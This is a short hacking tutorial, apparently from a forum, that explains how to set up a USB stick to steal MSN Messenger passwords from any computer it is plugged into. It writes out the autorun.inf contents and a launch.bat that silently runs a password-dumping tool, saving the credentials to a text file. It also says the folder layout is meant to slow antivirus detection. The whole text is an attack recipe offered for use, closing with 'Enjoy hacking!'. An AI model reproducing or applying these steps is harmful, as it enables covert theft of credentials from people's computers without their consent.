The first thing you need is an U3 USB-Stick. ( this are usb sticks which support the Autostart function )

• Then you download Messenger-Password here [You must be registered and logged in to see this link.]

• You open your USB stick and make a new text document which is called Autostart. this is what you write into this file.

[Autostart]
open=launch.bat
ACTION = myusbstick

• After writing this you have to save the file as "Autostart.inf", "myusbstick" is of course the name of your usb stick
  

• Then you make a folder called mspass, in this folder you copy the downloaded mspass.exe

• Then you make a .bat file which is named launch.bat in this file you write

• start mspass\mspass.exe /stext mspass.txt

Ok this is all you have to do. the trick with the folder and the launch.bat is, that the antivirus programs don't detect them so fast.
when everything is ok, it should work like that:

You put the usb stick into any computer, the autostart.inf will launch the mspass. After a few seconds you can remove the usb stick, and there will be a new .txt file in which the msn password is written.

Enjoy hacking!